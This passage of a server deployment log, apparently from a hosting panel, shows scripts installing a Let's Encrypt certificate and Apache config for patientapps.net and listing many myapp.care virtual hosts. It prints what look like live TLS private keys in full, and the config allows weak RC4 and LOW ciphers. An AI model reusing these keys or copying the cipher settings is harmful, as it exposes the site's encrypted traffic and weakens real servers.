tTc3LkHI+g31iLpbq3sfwBOA8g3tdf604j9MJ4uuLo3Cd52frEHJ7/EHF08Or+wz
ku9CnOw9AgMBAAECggEAB3gAZ9vq+MObimLd1Hs1nUp0J9b6VMVuBtvquAPKrbzG
mV/ODDXKX4baUW8cnhSXvmC/i8gTin2DGQU+esvgd757wzgP3XhKjPN6dhJjZZeb
MLbmsVvdblu3Xgjr00exNa+LFCCXLtZJ0KvxFaHA/MeioD+vOsfL6hOIsgWfNGJ8
RZbxg1bc6SjwKgQXtWGmhly9zCKPus7nf14+pVy0RHJs5HsCI+G1Z2OanGn0zm/z
PSVnUuzMuEaemYDomhjAGQc9Sqx4+1CDbw8jAdVzdtrXyTBXqq6UXzNbUzDJew5u
jgbdVSp2Xx9MNk6YEoSXS6p4LyZRx+G/cRvds6wfIQKBgQDiDA716TqQyPDY2e7o
/1qz50rrkH6D8beUUo5XkMVW1f56jF+7YdA/6T0TtPh0PrlCA3OFWoQleVXpB4S9
yxVLOA42nuGwHgBk1Yb3lyLVWMYONZ4W/xjq/+yGuAtxS9RTWD+n5ebQssb9MYMj
GgJZPZgcYKniew4MY7CQINFWiQKBgQDh+/yMfukeLb0TfDoqK28G9KMKz6NAap8n
O00G+M15lmOF4xWHyia6hPAfYmc49V8G/j7CYA6u6frse7JsLEcSHTu1jgeS0QpO
Li5Ykh3dU3i06zag9W/owCecYceL2G5Cbh/JzZe2VEBKKcLd96mCqgGkru68ZIKI
KbUz3rV7FQKBgQCKsoNrd9Orit/c7ruc0zHAOSbLKzm1k9bkd1NHf1jWUy912jPT
Mc0pqd8D/IKGMQZS7vMu279BjxWbijV0jutd3+M4uHwaKA5t0Gaj/GQvK+06QsPh
sFyFtMpYTw0WU0TQbtGAH5xkaY2XRY4FN6xBPX3by6PxhzezemeXx8sqoQKBgQCW
MIb0SRRdvkA/RvzRMfSkRsplUQJKuZH03PCghZLqEA0s2nNgv/VlWRzNfvTjYhA5
8Zd8T6LylQbzTHKUegjx/QPF8hMOfGfA9ehPbSzz/5nlg73W08gAhFTPFh0s0DbX
Z6Ew2bbOssfXglHEe+joslxNOwXnp1Upca7APm+W0QKBgQDZ3tBAIYP3rLUtArsl
bsZ9m32RGK2LS83ZXw6Kpgy2D3T33MgiVU41niuvLsJRYfDBPRzm9yXCve0cUM6Y
JdRYyEAdfsl7iQNnb1zrPDEw1wswvep8T3/f6JVZuONzcwrzMheLOjaT0T7ASqmG
tVuYnZqlXy9lGOCpdDvB8Rj+Cw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-14 06:01:16: Establishing a connection
2025-12-14 06:01:17: Establishing a connection
2025-12-14 06:01:17:
PUT: /tmp/pkp210059
#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-14 06:01:17:
chmod 755 /tmp/pkp210059; /tmp/pkp210059; rm /tmp/pkp210059
2025-12-14 06:01:17:
1
2025-12-14 06:01:18: Establishing a connection
2025-12-14 06:01:18:
PUT: /tmp/pkp973350
#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
cat > dPhGY69LpeBHXne4_fq0X8bgo9oHudZ1MLCWt4uXcQU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
dPhGY69LpeBHXne4_fq0X8bgo9oHudZ1MLCWt4uXcQU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 dPhGY69LpeBHXne4_fq0X8bgo9oHudZ1MLCWt4uXcQU
cat > btDyQyvbCNkW2u8lP6MKDvPczZ2x2UuQPeXjrMxusFk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
btDyQyvbCNkW2u8lP6MKDvPczZ2x2UuQPeXjrMxusFk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 btDyQyvbCNkW2u8lP6MKDvPczZ2x2UuQPeXjrMxusFk
2025-12-14 06:01:18:
chmod 755 /tmp/pkp973350; /tmp/pkp973350; rm /tmp/pkp973350
2025-12-14 06:01:18:
2025-12-14 06:01:26: Establishing a connection
2025-12-14 06:01:26:
PUT: /tmp/pkp963313
#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
rm dPhGY69LpeBHXne4_fq0X8bgo9oHudZ1MLCWt4uXcQU
rm btDyQyvbCNkW2u8lP6MKDvPczZ2x2UuQPeXjrMxusFk
2025-12-14 06:01:26:
chmod 755 /tmp/pkp963313; /tmp/pkp963313; rm /tmp/pkp963313
2025-12-14 06:01:26:
2025-12-14 06:01:26: Establishing a connection
2025-12-14 06:01:26:
PUT: /tmp/pkp811213
#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8.crt
cat > $temp_file <<'endmsg'
9a:a1:26:22:87:33:1b:11:50:be:29:5d:d3:29:9c:9c
-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBf6f049eTmVtg2mhpo1CVvJIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjE0MDUwMjUzWhcNMjYwMzE0MDUwMjUyWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDdnijUupoQ6H6eT3khH8Ak7jnRitOB/QbliEVhl/U9/pIIiAwgJc1vldEJJwOK
jiAljEoFB8mzHCwZuf1GtSD5TcqnDJ2V85q+nGVtKGEXGqVPRqd3jO/bwTCDbBIF
WFDmHwDm9Gpg8kzrPT7ft7fHKFIQzLDK+MxsCmWn3BocMKB0LAA73SoWl/4C5/Ug
ALym9CKcOFhRgKNS2/dPWUd5M4YE/kL3MKdlRo/fotQwUuh5KbKyq/uQ9qsU063k
CTCpCu7jnJkHPQPjVGdpUHft4lYBB08cMdwMp1DZvSMubgxjGntxKABKX6s8JIaH
ZHk6GoUW/xhF7lKu2IXF2DTlAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFJPYvAuR8C2JmpcCPYVySQwJqX59MB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wLwYDVR0RBCgwJoIPcGF0aWVudGFwcHMubmV0ghN3
d3cucGF0aWVudGFwcHMubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQn
MCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzMuY3JsMIIBCwYKKwYB
BAHWeQIEAgSB/ASB+QD3AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9
zfAAAAGbG3MOQgAABAMARzBFAiEAkRFjbx9zB1fomBnfrWWZRQi586JKzNSfOhdd
9UFW3mYCIGWr5SKvxEvlqnEgmq3c9f7Th+aNkF12IyHuqlTbjWzuAH0AGoudaUpX
mMiZoMqIvfSPwLRWYMzDYA0fcfRp/8fRrKMAAAGbG3MW0gAIAAAFACPlXOoEAwBG
MEQCIEsaKywm74QxL1hv8RSnld9GpQeBsxHkL4ZQj3PPm9jZAiBUb5imao6CHnr/
PmYjLJGDbp9uVRBHccmxbXYwz3WsMjANBgkqhkiG9w0BAQsFAAOCAQEAXJbsYlT1
BzrqKivUgthd/aDDVA8vGd8ZgWB0GatXzeEqf+n3Pqe3JI22Ry/y9VGYZOvE3gDC
dO/64hfi7zAABbuszWRP92kYDhdMoJprMoRYRDberRQ7JIoaBseOGaProcpSGC1i
UohFD40yd/WilZEBzoX814C0FfnNf7fbBDApv+XvwKyiicFn584zbaA/3z8w0ios
6Y3LVUJkJ+QuHk7WUuFr0MbJqv0w/h68i/RU6DaNbCGc6dhygsY9FGhD/3R7lmOJ
m6Fk11Nm9HlV4WO+G8/KtrbGB0EAzOttaL2z5tQWASn2siaHFDFajMtbYdpeDtir
2P1EFL51RlwGIw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDdnijUupoQ6H6e
T3khH8Ak7jnRitOB/QbliEVhl/U9/pIIiAwgJc1vldEJJwOKjiAljEoFB8mzHCwZ
uf1GtSD5TcqnDJ2V85q+nGVtKGEXGqVPRqd3jO/bwTCDbBIFWFDmHwDm9Gpg8kzr
PT7ft7fHKFIQzLDK+MxsCmWn3BocMKB0LAA73SoWl/4C5/UgALym9CKcOFhRgKNS
2/dPWUd5M4YE/kL3MKdlRo/fotQwUuh5KbKyq/uQ9qsU063kCTCpCu7jnJkHPQPj
VGdpUHft4lYBB08cMdwMp1DZvSMubgxjGntxKABKX6s8JIaHZHk6GoUW/xhF7lKu
2IXF2DTlAgMBAAECggEAV2ISdXayYvJZYrCxcUckqysnryDPLxUG0CCAQu/46h3j
lOuX5GEjdNkc2EAC3HIX6NY9JWihtjboiKhWXrfyrXpn6qBFzqeEH55pO7ZNOh/u
iKiyRahTt1GggGFvZZ4iH+qfn3FGNL21aJf4n5vAIg4a9bbQCug5KmybEqntvakO
2zhqGKVCcSohqWEB0mBHu+rIh7AkBWAOweg1RtEd8sOhlj2oQLD+1YHL3A0Zl/y7
tTY0iWSgxP1TzKJIhhmNfypIMZx5t6h/jNmit7dlXestfcCdAU+Y7onH6RoMlaN8
EFe+xwD9q7y82iZHF8fAyGQWS/krX8YQcyQwMPHgQQKBgQD2H7nAG7JAO+iim+PH
+SuJG1mFB0JqcqGtc8s63frA0b5PVgwb5WgghRJBlKQsjEJBQQEKtjBJaGqrGnf/
o4fF8hnXFIxdk4AZ6gN89ok5Un5pLYq4uRGlfm9RzIRVvCROAovkUIYYxOMxfIzD
NlWZHJPLN5GKiNER4nHG79IN1QKBgQDmgrK69W0rPAhmiFN3yQZgltzglhz0Z2eh
6X9c4diwNEQ4p/WQx+LxY1ftRJNZPPPWZ9xRPzGK2ix4qYc6qAe5+zEEgvaPhPQm
4IcPd2JBI9cgYag/tDnwQYiVSdn8/fFRrqJGGk3oi2WBhDNdnQ3hEypFAyWjIMB7
9Z3xR6JC0QKBgQC8kTP8Rnv8EKo8o1kR5gp/4i9k51nwOmE6hiPntxid0FSRbiia
2tk7SRjim+JoqxE783S74zf9lf1bmEzl1EF62/EGQx0DuLWFpTAE9tHN1DE7ngPR
YSFu/P6G2j1tflcGWZcaVsNWiMpUKMuj6KYOR8HICYv9arNbk3V+aFEz/QKBgD4M
RmIO+FDf+v7miVlAEmhjk5ccsTSUtQ+fU7pDzNk5aHe7tl0/gPYrIJrsj6FAx/4Z
vPNdyE8xBTGBqLYATvwgAoTNX+MoDbR9Ub23DAquxBSiVPC46bOjYEmXNIdmL9Ql
5uZp5DjJdQxU8qKrSPYh+4nSHAp6IXX8moQ9HQ9RAoGBAJUgZ/G8Sadpl0mQ5xnp
5qu8WrYrnjPGYVJ4njR8HECs/b+UsdvKWKQkuAF94DIQpobKYTVeL5wZETMmEUPo
a4MxZ8yNlq/c5pY1QDiIghdRgHSieulJAqN0RjE9hOuI4KfFJvpjjskU24tRerMf
tzOYDcfhO2zlQw3EPxoY/CIP
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-14 06:01:26:
chmod 755 /tmp/pkp811213; /tmp/pkp811213; rm /tmp/pkp811213
2025-12-14 06:01:26:
dir=/etc/ssl/certs
2025-12-14 06:01:26:
PUT: /tmp/pkp532642
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-14 06:01:26:
chmod 755 /tmp/pkp532642; /tmp/pkp532642; rm /tmp/pkp532642
2025-12-14 06:01:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf 43
<VirtualHost *:80>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
2025-12-14 06:01:26:
PUT: /tmp/pkp229822
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_access.log combined
ErrorLog /var/log/apache2/patientapps/www_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
<VirtualHost *:443>
ServerName patientapps.net
ServerAlias www.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
DocumentRoot /var/www/patientapps_www
<Directory /var/www/patientapps_www>
Options +FollowSymLinks -MultiViews -Indexes
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/www_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.php index.html index.htm index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_www_net.conf= 1'
fi
2025-12-14 06:01:26:
chmod 755 /tmp/pkp229822; /tmp/pkp229822; rm /tmp/pkp229822
2025-12-14 06:01:26:
2025-12-14 06:01:26:
PUT: /tmp/pkp471060
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-14 06:01:26:
chmod 755 /tmp/pkp471060; /tmp/pkp471060; rm /tmp/pkp471060
2025-12-14 06:01:27:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-14 06:01:27: Establishing a connection
2025-12-14 06:01:27:
PUT: /tmp/pkp388542
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-14 06:01:27:
chmod 755 /tmp/pkp388542; /tmp/pkp388542; rm /tmp/pkp388542
2025-12-14 06:01:27:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
